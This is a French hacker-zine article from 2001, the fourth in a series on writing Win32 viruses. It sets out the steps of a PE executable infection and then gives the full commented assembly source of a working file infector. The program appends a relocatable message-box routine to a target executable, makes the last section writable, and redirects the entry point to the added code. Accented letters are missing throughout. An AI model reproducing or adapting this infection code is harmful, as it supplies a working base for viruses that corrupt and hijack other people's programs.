-------[  RtC Mag, At the end of the universe  ]

--------------[  Infection Win32 : Part 4  ]
--------------[  Premire application concrte  ]
---------[ fvrier 2001 ]
----[  by Doxtor L. <>  ]


-------[  Sommaire


    Voici le quatrime volet de notre srie d'articles consacres aux programmes auto-reproducteurs (aussi appels virus informatiques) sous Win32.

Voila ce que vous trouverez dans cet article:
    1) Introduction.
    2) Petite liste des oprations  faire pour une infection bien mene.
    3) Conclusion.
    4) Listing de notre premire vraie ralisation. 


-------[  1) Introduction


    L'article prcdant prsentait les rudiments du format P.E (Portable Excutable)  connaitre pour pouvoir envisager des modifications dans un fichier excutables win32. Dans un article antrieur, nous avions tudi les APIs de Windows ncessaires  la manipulation de fichiers. Ce qui suit est une application directe de tout cela. Nous faisons un pas de plus dans la cration d'un programme autoreproducteur totalement fonctionnel et oprationnel.


-------[  2) Petite liste des oprations  faire pour une infection bien mene.


1) Tester si le fichier est un fichier P.E exe
    a) Test des deux premiers octets du fichier en cours d'examen : ce sont les lettres M,Z?  
    b) Test de la prsence des lettres P,E  l'emplacement o elles devraient tre dans le fichier si c'est un fichier P.E.
    c) Test de la prsence d'un marqueur qui indiquerait que le fichier est dja infect.(non implment dans le code source exemple)
    Si erreur  allez  l'tape 10.
2) Lecture de l'en-tte P.E : sauvegarder le nombre de sections et la taille de l'en-tte optionnel
3) Manipulations sur l'en-tte optionnel
    a) Sauvegarde de l'adresse du point d'entre
    b) Mise  jour du champ taille de l'image.
4) Dterminer l'adresse de l'en-tte de la dernire section
5) Manipulation de l'en-tte de la dernire section
    a) Mise  jour des champs tailles
    b) Ajouter l'attribut ECRITURE  cette section.
6) Changer le point d'entre du programme  modifier. (dans l'en-tte optionnel)
7) Copier le code  ajouter dans l'image, en mmoire, du fichier  modifier
8) Ajouter un marqueur dans le fichier pour indiquer qu'il est infect. (non-implment dans le code source exemple)
9) Rendre les changements effectues sur l'image du fichier effectifs sur le disque.
10) Traitement des erreurs: 
    a) Retailler l'image en mmoire pour qu'elle ait la mme taille (sur disque que) que le fichier non-modifi.
    b) Rendre les changements effectus sur l'image effectifs sur le disque. (cela aura pour effet de ne rien changer au fichier cible si ce n'est sa date, puisque la conservation de celle-ci n'est pas implment ici pour ne pas alourdir la tche)

    Remarque: Ceci est un schma possible pour raliser une infection l'ordre des oprations peut-tre modifi.


-------[  3) Conclusion


    Nous connaissons  prsent presque l'essentiel des mthodes de base pour crire un programme auto-reproducteur. Nammoins il en manque une qui est essentielle. Ce manque est illustr par le code source qui suit. En effet, un programme qui sera modifi par notre application, se verra ajouter une routine d'affichage, celle-ci est batie sur un appel  une API de Windows. L'adresse de l'API utilise est celle  laquelle se trouve le point d'entre de cette fonction sur l'ordinateur qui a servi pour l'infection. Excuter sur un autre ordinateur le programme que vous aurrez modifi risque de crasher car l'adresse de l'API MessageBoxA (et de tous les APIs en gnral) n'est pas la mme sur tous les ordinateurs. Sur deux version de Windows98 qui semblent identiques, il est presque sr que l'adresse de l'API MessageBoxA n'est pas la mme. Ceci dit, sur un mme ordinateur cette adresse ne change pas entre deux boots systme.
    Un programme ajout dans un autre ne sait pas o se trouvent,  priori, les adresses des APIs qu'il compte utiliser. Un programme lgitime obtient ces renseignements lorsque Windows le charge en mmoire. Le programme ajout pourrait profiter lui aussi de ces informations. Mais il y'a un obstacle majeur. Le programme lgitime ne se sert pas forcment des APIs qui sont utiles  notre petit programme ajout. Donc il ne connait pas , ou tout au moins pas toutes, les adresses qui sont utiles pour que le programme ajout puisse faire ce qu'il  faire. Notre prochain article traitera de cet aspect important :
la rcupration *dynamique* d'adresses d'APIs.

A bientt.


-------[  4) Listing de notre premire vraie ralisation:


--- INFECT4.ASM ---------------------------------------------------------------

; Ce code source est issu de l'article: Infection, partie 4
; par DoxtorL/[T.I]. Cr en Fvrier 2001.
; Il constitue une dmonstration lmentaire de la technologie ncessaire
;  la fabrication de programmes auto-reproducteurs communment appels
; virus informatiques. Ce programme est tudi pour fonctionner dans un
; environnement Win32.
; Ce programme a t conu  des fins d'enseignement et ne doit pas tre
; utiliser  des fins dtournes.


; Ce programme ajoute une routine d'affichage d'un message  un fichier Portable 
; Executable .exe. La taille et le nom du fichier cible sont fixs mais peuvent 
; tre modifis avant compilation.


; AVERTISSEMENT:
; Le fichier aprs modification n'est excutable que sur la machine qui
; a servi pour l'opration.
; Ceci est d au fait que l'adresse de l'API MessageBoxA n'est pas
; recalcul dynamiquement par le programme modifi mais "lu" au moment
; de la modification.

; Aucun test n'est fait sur la prsence d'une section compltement
; virtuelle  la fin du fichier cible.
; S'il y'en a une, je crains fort que le fichier ne soit cras sans
; autre forme de procs.
; Evidemment comme toujours, il ne peut y'avoir de garantie sur le bon
; fonctionnement du programme cible aprs modification !



.386p                 

.model flat


.data

; Donnes ncessaires pour la manipulation de fichier:

HandleFichier        dd 0                       ;
HandleMap            dd 0                       ;
AdresseMap           dd 0                       ;
TailleMap            dd 0                       ;
TailleFichier        dd 4096                    ; Vous pouvez changer ces deux valeurs
NomFichier           db "cible.exe",0           ; pour effectuer vos propres tests.


; Donnes ncessaires pour l'obtention de l'adresse de l'API MessageBoxA:

User32               db "user32.dll",0          ; nom de la DLL qui exporte l'API
                                                ; MessageBoxA
MsgBox               db "MessageBoxA",0         ; l'API utilis pour crer la boite
                                                ; de message.

; Donnes diverses:

NbSect               dw 0                       ; Contiendra le nombre de sections.
ChampRetourAd        dd 0                       ; Contiendra l'adresse  du champ
                                                ; "Point d'entre" dans l'en-tte
                                                ; optionnel.
.code

DEBUT:                        

    extrn MessageBoxA          :Proc 

; APIs utilises pour la manipulation de fichiers:

    extrn CreateFileA          :Proc
    extrn CreateFileMappingA   :Proc
    extrn MapViewOfFile        :Proc
    extrn UnmapViewOfFile      :Proc
    extrn CloseHandle          :Proc  
    extrn SetFilePointer       :Proc
    extrn SetEndOfFile         :Proc
    extrn ExitProcess          :Proc


; APIs utilises pour rcuprer l'adresse de l'API MessageBoxA

    extrn GetModuleHandleA     :Proc
    extrn GetProcAddress       :Proc


;********************************************
; On rcupre l'adresse de l'API MessageBoxA
;********************************************


    push offset User32
    call GetModuleHandleA                       ; renvoie dans eax l'adresse o a t
                                                ; charge la DLL User32.dll.

    push offset MsgBox                          ;
    push eax                                    ;
    call GetProcAddress                         ; renvoie dans eax l'adresse de l'API
                                                ; MessageBoxA.
    mov dword ptr [APIad],eax                   ; on sauvegarde l'adresse de l'API.
                                   


;##############################################################################


;****************************************************************
; Ouverture et cration de l'image du fichier en cours d'examen :
;****************************************************************


    mov eax,dword ptr [TailleFichier]           ; On met dans eax la taille du fichier.

 
; On s'occupe maintenant de la taille qu'aurra l'image:

    mov dword ptr [TailleMap],eax 
    add dword ptr [TailleMap],200h              ; Pour tenir compte de l'ajout de la routine
                                                ; qui contient la "boite de message".
    call Ouvrir                                 ; On ouvre et mappe le fichier
    mov edx,dword ptr [AdresseMap]              ; On met dans edx l'adresse de dbut de l'image

;##############################################################################




;**********************************************************************
; On teste si le fichier est bien un fichier Portable Executable .exe :
;**********************************************************************

; On teste les deux premiers octets:

    cmp word ptr [edx],"ZM"                     ; Remarquez que "MZ" est inverse.
    jnz ERROR                                   ; La lecture en mmoire par le micropro-
                                                ; cesseur est faite  l'envers.



; Si l'on est arriv ici cela veut dire que le fichier est un fichier .exe.
; Mais est-ce bien un P.E .exe?


    cmp dword ptr [edx+3ch],200h                ; On ne sait pas  l'avance que le fichier
                                                ; est un PE exe donc aucune raison,  priori
                                                ; qu' l'emplacement "edx+3ch" on ait 
                                                ; l'offset de fichier qui indique o trouver
                                                ; l'emplacement du dbut de l'en-tte PE.
                                                ;
                                                ; 200h c'est 512 en dcimal, ce qui signifie
                                                ; que si on est train d'examiner un fichier
                                                ; exe de Msdos qui n'est pas un fichier
                                                ; de Windows et qui a pour taille moins de
                                                ; 512 octets et qui de plus, contient 
                                                ; l'offset 3ch un double mot qui est plus 
                                                ; petit que 200h, mais plus grand que la taille
                                                ; du fichier...on risque le crash avec ce qui
                                                ; suit MAIS HEUREUSEMENT...
                                                ; Cela n'arrive jamais dans la pratique !
    jg ERROR                                    ; L'offset est trop lev on n'a sans doute
                                                ; pas affaire  un fichier exe de Windows.

    add edx,dword ptr [edx+3ch]                 ; edx contient l'adresse de dbut de l'en-
                                                ; tte PE prsum.


; On teste la prsence de "PE" qui nous garantit que c'est bien un fichier
; P.E .exe:

    cmp word ptr [edx],"EP"                     ; Le test prcdemment effectu prend tout
                                                ; son sens ici. Si le fichier est un prog-
                                                ; ramme Msdos l'adresse contenue dans edx
                                                ; risque d'tre en dehors de l'espace utili-
                                                ; s par l'image du fichier en cours 
                                                ; d'examen; cela risque de provoquer une 
                                                ; erreur de lecture de page.
                                                ; Remarquez que "PE" est inverse.
    jnz ERROR                                   ; Le fichier n'est pas un programme PE.



;##############################################################################



;**********************************
; Manipulations sur l'en-tte P.E :
;**********************************


    mov ax,word ptr [edx+06h]                   ; On lit le nombre de sections contenues
                                                ; dans le fichier PE cible.
    mov word ptr [NbSect],ax                    ; On sauvegarde le nombre de sections
                                                ; pour plus tard.
    movzx ecx,word ptr [edx+14h]                ; On met dans ecx la taille de l'en-tte
                                                ; optionnel. Remarquez que l'on utilise 
                                                ; movzx et non pas mov; en effet, on recopie
                                                ; un mot dans un registre qui est prvu pour
                                                ; contenir un double mot.
                                                ; Le mot va tre mis dans cx et les 16 bits
                                                ; de poids le plus levs de cx sont mis  0.
 

;##############################################################################


    add edx,18h                                 ; edx contient l'adresse de l'en-tte optionnel 
                                                ; qui suit l'en-tte P.E. 18h est la taille de ce dernier.
    mov edi,edx                                 ; On copie le contenu de edx dans edi. Le contenu de edx
                                                ; n'est pas modifi.


;****************************************
; Manipulations sur l'en-tte optionnel :
;****************************************

; On s'occupe du champ POINT D'ENTREE:


    add edi,10h                                 ; edi contient l'ADRESSE DU CHAMP,
                                                ; dans l'image cre du fichier cible,
                                                ; du point d'entre du programme P.E cible.
                                                ;
                                                ; Elle nous sera utile plus tard lorsque
                                                ; nous voudrons modifier le point d'entre
                                                ; pour qu'il pointe sur notre routine
                                                ; d'affichage du message.
    mov dword ptr [ChampRetourAd],edi           ; On sauvegarde cette adresse.
    mov eax,dword ptr [edx+10h]                 ; Lecture du point d'entre.
                                                ; Nous obtenons l'adresse virtuelle relative
                                                ; en mmoire du point d'entre du programme.
    add eax,dword ptr [edx+1ch]                 ; On ajoute l'adresse o est charge, en m-
                                                ; moire, le fichier cible.
    mov dword ptr [RetourAd],eax                ; RetourAd doit contenir l'adresse de retour
                                                ; vers le code du programme cible.
                                                ; Pour que celui-ci soit excut il faut que
                                                ; RetourAd contienne bien entendu l'adresse
                                                ; du point d'entre du programme cible
                                                ; d'avant la modification.


; Mise  jour du champ TAILLE DE L'IMAGE:
; (ce champ contient la taille en octets de l'espace utilis par
; la totalit du programme aprs chargement en mmoire vive)

    add dword ptr [edx+38h],1000h               ; On accroit la taille totale du fichier
                                                ; tel qu'il est aprs chargement en mmoire
                                                ; vive pour tenir compte de l'ajout d'une
                                                ; routine. Voir ci-aprs.


;##############################################################################


    add edx,ecx                                 ; edx contient l'adresse de l'en-tte de
                                                ; la premire section. ecx contient la 
                                                ; taille de l'en-tte dit optionnel.
                                                ; Les en-tte des sections suivent immdiate-
                                                ; ment.

;*********************************************************************
; Nous devons calculer l'adresse de l'en-tte de la dernire section :
;*********************************************************************


    xor eax,eax                                 ; Astuce standard pour mettre  0 eax.
    mov cx,word ptr [NbSect]                    ; On rcupre le nombre de sections.
                                                ; En fait puisqu'un fichier avec plus de 
                                                ; 256 sections ne se trouve jamais en pra- 
                                                ; tique, ch est nul et cl contient le nombre
                                                ; de sections.(ch contient les bits de poids
                                                ; lev et cl ceux de poids faible)
    dec cx                                      ; On s'intresse au dbut de l'en-tte
                                                ; de la dernire section, pas de sa fin. 
    mov al,28h                                  ; al contient la taille d'une section.
    mul cl                                      ; On multiplie le contenu de al par le
                                                ; contenu de cl. Le rsultat est plac dans
                                                ; ax.
    add edx,eax                                 ; On obtient l'adresse de l'en-tte de
                                                ; la dernire section.

;##############################################################################



;****************************************************
; Manipulation sur l'en-tte de la dernire section :
;****************************************************


    add dword ptr [edx+08h],1000h               ; On met  jour la taille de la section
                                                ; qu'elle aurra en mmoire vive.
                                                ; On pourra s'tonner de la valeur
                                                ; norme 1000h. En gnral les tailles
                                                ; des sections  sont multiple de 1000h.
                                                ; Pour tre rigoureux, on devrait aller
                                                ; lire la valeur dont toutes les tailles
                                                ; des sections en mmoire vive sont
                                                ; multiple dans l'en-tte optionnel.
                                                ; En pratique 1000h est la valeur qui
                                                ; est le plus souvent utilise. 
    mov ebx,dword ptr [edx+10h]                 ; On sauvegarde la taille sur disque
                                                ; de la dernire section pour l'utiliser
                                                ; plus tard, avant toute modification.
    add dword ptr [edx+10h],200h                ; On met  jour la taille de la section
                                                ; telle qu'elle est sur disque.
                                                ; De la mme faon que pour la taille en
                                                ; mmoire vive, la taille sur disque doit 
                                                ; tre multiple d'un nombre prcis dans 
                                                ; l'en-tte optionnel. 
                                                ; En pratique cette valeur est 200h.
                                                ; Windows9x n'est pas trop exigent
                                                ; sur l'exactitude de tout ces champs
                                                ; taille. Win NT est beaucoup plus regar-
                                                ; dant.
              

; On va ajouter du code  la fin de la dernire section qui sera excut
; dans l'espace mmoire que va rserver Windows pour cette section.
; Nous devons modifier les attributs de cette section pour que windows
; autorise l'excution de code sans nous gratifier d'une erreur de page.
; Nous devons ajouter l'attribut "Code":


    or dword ptr [edx+24h],80000000h            ; Attribut ECRITURE ajout.

;##############################################################################


; Pour que le code qui sera ajout soit excut nous allons modifier le 
; point d'entre du programme cible pour que l'excution dbute par
; notre routine d'affichage d'un message.
 
;***********************************
; Calcul du nouveau point d'entre :
;***********************************

    mov eax,dword ptr [edx+0ch]                 ; On met dans eax l'adresse virtuelle
                                                ; relative de dbut de la dernire section.
    add eax,ebx                                 ; On ajoute la taille occupe par cette
                                                ; section sur le disque telle qu'elle tait
                                                ; avant modification du fichier.

; eax contient dsormais l'adresse virtuelle relative du nouveau point d'entre.


; Il nous reste  changer le point d'entre du programme effectivement:


    mov esi,dword ptr [ChampRetourAd]           ; On met dans esi l'adresse, o se trouve
                                                ; le champ qui est renseign avec l'adresse
                                                ; virtuelle relative du point d'entre
                                                ; du programme cible.
    mov dword ptr [esi],eax                     ; On renseigne le champ avec le nouveau
                                                ; point d'entre.


;##############################################################################



    mov edi,dword ptr [AdresseMap]              ; Nous avons besoin  nouveau de connaitre
                                                ; l'adresse de dbut en mmoire de l'image
                                                ; du fichier cible que nous avons cre.
    add edi,dword ptr [edx+14h]                 ; On ajoute l'offset de fichier qui indique
                                                ; o trouver dans le fichier sur le disque
                                                ; la dernire section.
    add edi,ebx                                 ; On ajoute la taille de la dernire section
                                                ; telle qu'elle tait sur le disque
                                                ; avant modification.


;************************************************************************
; il nous reste plus qu' recopier dans le programme cible notre routine
; d'affichage :
;************************************************************************


    mov ecx,Fin_Message-Message                 ; On met dans ecx le nombre d'octets
                                                ;  copier.
    lea esi,Message                             ; esi contient l'adresse SOURCE de ce qui doit
                                                ; tre copi.

; edi contient dja l'adresse de DESTINATION pour le code  copier (lire plus
; haut) 

    repne movsb                                 ; On copie un octet  la fois.

;##############################################################################


;*************************************************************************
; C'est presque fini, il ne reste qu' rendre effectif les modifications
; effectue sur l'image cre du fichier cible :
;*************************************************************************

    call Fermer                                 ; le fichier est maintenant modifi et
                                                ; referm.                               
    call ExitProcess                            ; Le programme va se terminer. 



;##############################################################################



;*********************************************************************
; Le fichier en cours d'examen n'est trs certainement pas un fichier
; P.E exe. Nous ne voulons pas le modifier :
;*********************************************************************

ERROR:

    sub dword ptr [TailleMap],200h              ; le fichier n'est pas un PE exe. Pour ne
                                                ; pas accroitre inutilement sa taille 
                                                ; on soustrait ce que l'on avait prcdemment
                                                ; ajout.

    call Fermer                                 ; On referme sans modifier.

    call ExitProcess                            ; On demande la fin du programme.

;##############################################################################


;****************************************************************************
; Ce qui suit est la routine qui sera ajoute au fichier cible pour crer la
; routine d'affichage d'un message.
;****************************************************************************


Message:

    call ICI                                    ; calcul du "delta offset".
                                                ; la routine complte sera reloge c'est  dire
ICI:                                            ; que toutes les adresses absolues ne seront plus 
                                                ; valables. Pour parer  ce problme on va calculer
                                                ; et mettre dans ebp la distance entre l'emplacement
                                                ; aprs relocation du label "ICI:" et de son emplace-
                                                ; ment avant relocation. Par exemple, dans le programme
                                                ; ici prsent, ebp va contenir 0.
    pop ebp                                     ; ebp contient l'adresse du label "ICI:"
                                                ; cette adresse est dpendante du programme ou sera
                                                ; insrer cette routine d'affichage d'un message.
    sub ebp,offset ICI                          ; Cela permet de tenir compte du fait que cette routine
                                                ; d'affichage  une adresse qui est variable suivant
                                                ; le programme qui a t choisi pour l'acceuillir.
    push 0                                      ;
    lea eax,Titre+ebp                           ; mettre dans eax l'adresse de la chaine de caractres
                                                ; qui contient le titre.
                                                ; ebp permet de tenir compte de la relocation.
    push eax                                    ; passage de la valeur par la pile
    lea eax,Msg+ebp                             ; c'est au tour du message lui-mme
    push eax                                    ; passage par la pile
    push 0                                      ;
    lea eax,APIad+ebp                           ; on met dans eax l'adresse de l'endroit o l'on a mis
                                                ; l'adresse de l'API MessageBoxA. 
    call dword ptr [eax];                       ; appel de l'API MessageBoxA. 
    mov eax,dword ptr [RetourAd+ebp]            ; on rcupre l'adresse du dbut du programme
                                                ; avant modification.
    jmp eax                                     ; et on s'y rend. 



; Donnes utilises par la routine qui affiche le message, elles seront
; transfres elles aussi dans le fichier que l'on veut modifier:

Titre    db "ALERTE",0                          ;
Msg      db "Le fichier a bien t modifi !",0 ;
APIad    dd 0                                   ; emplacement pour mettre l'adresse de 
                                                ; l'API MessageBoxA
RetourAd dd 0                                   ; le point d'entre du programme avant modification

                        
Fin_Message:                                    ; fin de la routine qui affiche le message


;##############################################################################



;****************************************************************************
; Ce qui suit sont les fonctions utilises pour la manipulation de fichiers :
;****************************************************************************


Ouvrir:


; ouverture du fichier:

    pushad                                      ; sauvegarde des registres 

    push 0                                      ;
    push 0                                      ;
    push 3                                      ;
    push 0                                      ;
    push 1                                      ;
    push 80000000h or 40000000h                 ;
    lea eax,NomFichier                          ;
    push eax                                    ;
    call CreateFileA                            ;

    mov dword ptr [HandleFichier],eax           ; on sauvegarde le handle du fichier

; prpare le mapping:

    push 0                                      ;
    push dword ptr [TailleMap]                  ;
    push 0                                      ;
    push 4                                      ;
    push 0                                      ;
    push dword ptr [HandleFichier]              ;
    call CreateFileMappingA                     ;

    mov dword ptr [HandleMap],eax               ; on sauvegarde ce handle

; le fichier est mapp:

    push dword ptr [TailleMap]                  ;
    push 0                                      ;
    push 0                                      ;
    push 2                                      ;
    push dword ptr [HandleMap]                  ;
    call MapViewOfFile                          ;

    mov dword ptr [AdresseMap],eax              ; on sauvegarde l'adresse de dbut de l'image
                                                ; cre en mmoire  
    popad                                       ; restauration des registres
    ret                                         ; retour au programme principal


Fermer:

    pushad

; l'image cre en mmoire est supprime et le fichier va prendre en compte
; les modifications apportes.

    push dword ptr [AdresseMap]                 ;
    call UnmapViewOfFile                        ;

    push dword ptr [HandleMap]                  ;
    call CloseHandle                            ;

; on retaille le fichier si ncessaire:

    push 0                                      ;
    push 0                                      ;
    push dword ptr [TailleMap]                  ;
    push dword ptr [HandleFichier]              ;
    call SetFilePointer                         ;

    push dword ptr [HandleFichier]              ;
    call SetEndOfFile                           ;

; on referme le fichier:

    push dword ptr [HandleFichier]              ;
    call CloseHandle                            ;

    popad                                       ;
    ret                                         ; retour au programme principal


;##############################################################################


end DEBUT                                       ; fin du programme

--- INFECT4.ASM ---------------------------------------------------------------


-------[  EOF